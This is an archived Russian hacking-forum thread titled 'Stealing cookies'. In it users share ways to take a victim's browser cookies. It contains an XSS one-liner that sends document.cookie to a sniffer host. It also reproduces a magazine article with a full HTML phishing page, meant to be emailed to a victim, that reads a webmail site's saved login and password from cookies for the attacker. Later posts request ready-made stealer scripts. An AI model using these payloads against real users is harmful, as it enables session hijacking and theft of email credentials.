Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Чаты (https://forum.antichat.xyz/forumdisplay.php?f=10)
-   -   Крадем cookies (https://forum.antichat.xyz/showthread.php?t=1768)

Стольник 18.04.2004 18:51

Я нашел статьи, как стереть cookies у жертвы. А есть способы украсться cookies у жертвы?

Стольник 18.04.2004 18:55

"Прочитав cookie, HTML-файл или запрашивает у пользователя разрешение отослать информацию взломщику, где пользователя можно обмануть ложной надписью а ля "Ошибки в сценариях Javascript!". Даже довольно опытный пользователь не задумываясь нажмет OK, после чего login и пароль отошлется взломщику."

Как?

Че Гевара 21.04.2004 21:02

< script>
var i=new image;
i.src='адрес снифа'+'?'+document.cookie;
</script>
Скрипт высылает куки на сниффер ...

Че Гевара 21.04.2004 21:10

Ява скрипт в этом случае не подходит

var cook=show_all_cookies();
document.open("cookies",cook);
document.write('<form
onsubmit="javascript:window.close();"
method=post action="mailto:твое_мыло@mail.ru&quot ;
ENCTYPE="text/plain"><+'?'+document.cookie;><in put type=submit
value="Нажмите что бы
закрыть"></form>')
</script>
Этот скрипт ничего тебе не пришлет. сам понимаешь почему... я тут на хакере вот что нашел:
<span style='color:green'>Ты когда-нибудь задумывался о безопасности почты на основе WWW-Интерфейса? Скорее всего нет. А если и да, то скорее всего на масли тебя натолкнул какой-нибудь журналист, сказавший что хакеры (а по его словам это гении компьютерного мира, и вообще при одном их виде надо падать и бояться :]) взломали xxxmail.xxx. Но ты не обратил на это сообщение особого внимания, а зря.

По статистике большинство юзверей, которые пользуются мылом через свои любимые браузеры, очень ленивы и рано или поздно им надоедает вводить пасс и логин. Для таких людей создатели почт предлагают использовать всякие фишки по автоматическому заполнению паролей и логинов. Возникает интересный вопрос: как сервер узнаёт кто пришел и чем заполнить форму? В большинстве случаев ответ - Java+Cookies, так как эта технология поддерживается большинством браузеров (таких как Internet Explorer, Opera, Нетшкаф and so on ...).

Возникает проблема: как достать эти кукисы? Это сделать ОЧЕНЬ просто :). (намного сложнее заставить юзера посмотреть attachment :[ ). Давай рассмотрим это на примере какой-либо службы... Да чего долго ходить можно посмотреть и на mail.xakep.ru :). Зарегистрировавшись, получаем &quot;ясчик&quot; (и обращаем внимание на radio-button (переключатель) с надписью &quot;Свой компьютер(запомнить имя и пароль)&quot;). Ну что? Пусть запомнит пасс и логин (допустим, что мы часто здесь бываем и оооооочень ленивы). При последующей загрузке страницы мы видим введенные данные и нам остаётся только входить и радоваться жизни. Интересен код страницы аутентификации. Этот кусок отвечает за то самое сохранение пасса:

&lt; script LANGUAGE=&quot;JavaScript&quot;&gt;
<!--
--------------------------------
function setCookie(name, value) {
var expire = &quot;0, 01-01-2100 00:00:00 GMT&quot;
document.cookie = name + &quot;=&quot; + escape(value) + &quot;; expires=&quot; + expire;
}
--------------------------------
function Save()
{ var sqr = 0;
if (document.logon.sequrity[1].checked) {sqr=1;}
if (document.logon.sequrity[2].checked) {sqr=2;}
var name = document.logon.username.value;
var psw = document.logon.password.value;
var domain = document.logon.domain.value;
if (sqr == 0) { domain=''; name=''; psw=''; } else
if (sqr == 1) { psw=''; }
setCookie('qmail_name', name);
setCookie('qmail_psw', psw);
setCookie('qmail_sqr', sqr);
// setCookie('qmail_domain', domain);
}
//-->
&lt;/SCRIPT&gt;

Значит cookie :). На этой же паге видим как их достать:

--------------------------
function getCookie(Name) {
var search = Name + &quot;=&quot;
if (document.cookie.length &gt; 0) { // if there are any cookies
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length // set index of beginning of value
end = document.cookie.indexOf(&quot;;&quot;, offset) // set index of end of cookie value
if (end == -1) end = document.cookie.length
return unescape(document.cookie.substring(offset, end))
}
}
}
--------------------------


&lt; script LANGUAGE=&quot;JavaScript&quot;&gt;
<!--
var i = getCookie('qmail_name');
if ((i != null)&amp;&amp;(i != &quot;&quot;)) {document.logon.username.value = i;}
i = getCookie('qmail_psw');
if ((i != null)&amp;&amp;(i != &quot;&quot;)) {document.logon.password.value = i;}
i = getCookie('qmail_sqr') || 0;
document.logon.sequrity[i].checked = true;
// i = getCookie('qmail_domain');
// if ((i != null)&amp;&amp;(i != &quot;&quot;)) {document.logon.domain.value = i;}
document.logon.username.focus();
//-->
&lt;/SCRIPT&gt;

Так. Пасс и логин теперь есть у сайта. Чем мы хуже? Делаем письмо человеку, пасс которого нам нужен, и перекрепляем к нему пагу, содержащую наш пас-зиф. Код этой паги может быть изменённым сорсом этой заготовки (в первом поле ввода логи во втором пасс):

&lt;html&gt;

&lt; script LANGUAGE=&quot;JavaScript&quot;&gt;
<!--
function getCookie(Name) {
var search = Name + &quot;=&quot;
if (document.cookie.length &gt; 0) { // if there are any cookies
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length // set index of beginning of value
end = document.cookie.indexOf(&quot;;&quot;, offset) // set index of end of cookie value
if (end == -1) end = document.cookie.length
return unescape(document.cookie.substring(offset, end))
}
}
}

//-->
&lt;/SCRIPT&gt;
&lt;br&gt;
&lt;table width=&quot;100%&quot; border=0 cellpadding=0 cellspacing=0&gt;
&lt;tr valign=&quot;top&quot; align=&quot;center&quot;&gt;
&lt;td width=&quot;100%&quot;&gt;
&lt;p&gt;&lt;/p&gt;
&lt;table cellpadding=1 cellspacing=0 border=0&gt;
&lt;form method=&quot;post&quot; name=&quot;logon&quot; action=&quot;http://mail.xakep.ru/cgi-bin/mail&quot; onSubmit=&quot;Save();&quot;&gt;
&lt;tr&gt;
&lt;td class=text&gt;&lt;input type=&quot;text&quot; name=&quot;username&quot; size=&quot;8&quot; style=&quot;width: 95px;&quot;&gt;&lt;input type=&quot;hidden&quot; name=&quot;domain&quot; value=&quot;xakep.ru&quot;&gt;&lt;/td&gt;
&lt;td class=text&gt;&lt;input type=&quot;text&quot; name=&quot;password&quot; size=&quot;8&quot; style=&quot;width: 95px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/form&gt;
&lt;/table&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt; script LANGUAGE=&quot;JavaScript&quot;&gt;
<!--
var i = getCookie('qmail_name');
if ((i != null)&amp;&amp;(i != &quot;&quot;)) {document.logon.username.value = i;}
i = getCookie('qmail_psw');
if ((i != null)&amp;&amp;(i != &quot;&quot;)) {document.logon.password.value = i;}
i = getCookie('qmail_sqr') || 0;
document.logon.sequrity[i].checked = true;
// i = getCookie('qmail_domain');
// if ((i != null)&amp;&amp;(i != &quot;&quot;)) {document.logon.domain.value = i;}
document.logon.username.focus();
//-->
&lt;/SCRIPT&gt;

&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/HTML&gt;

Далее же всё зависит от твой фантазии. Можно где-нибудь в сети выложить свою CGI, которая будет принимать и &quot;обрабатывать&quot; логин и пасс жертвы, а можно, набравшись наглости, отправить от жертвы себе на мыло письмо с &quot;бесценной информацией&quot;. В общем как с тем журналом - &quot;Делай с ним, что хочешь&quot;.</span>
Удачи

24.04.2004 18:14

блин приколньо ))

M4m0-NT 08.05.2004 07:25

Блин а как же интересные скрипты?!http://forum.antichat.ru/iB_html/non...cons/smile.gifТам сам процесс взлома...мне бы скриптов маленько плиз если не обламывает дайтеhttp://forum.antichat.ru/iB_html/non...cons/smile.gif) :;):

Че Гевара 08.05.2004 16:51

http://forum.antichat.ru/iB_html/non...ticons/wow.gif2--></span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Че Гевара @ апреля 21 2004,21http://forum.antichat.ru/iB_html/non...ticons/wow.gif2)</td></tr><tr><td id="QUOTE">&lt; script&gt;
var i=new image;
i.src='адрес снифа'+'?'+document.cookie;
&lt;/script&gt;[/QUOTE]<span id='postcolor'>
Чем тебе этот не нравится ?
Если не хочешь писать сам, то заходи на
http://www.nsd.ru/test/mail.htm
Я его переписал под себя - очень удобно ...

Respekt335 13.06.2010 17:05

А описать чо с этим скриптом делать подробно можеш?плиз!

altblitz 13.06.2010 17:11

Цитата:

Сообщение от Че Гевара
&lt; script&gt;
var i=new image;
i.src='адрес снифа'+'?'+document.cookie;
&lt;/script&gt;
Скрипт высылает куки на сниффер ...

балуемся с кросс-сайт скриптами ? ))
школьник впадёт в тупняк, когда всё получается на домашнем сервере, а в сети - никак.

впрочем - может и нужно - лишь на локалке.

nuBo 13.06.2010 17:13

археологи. :rolleyes:


Время: 11:24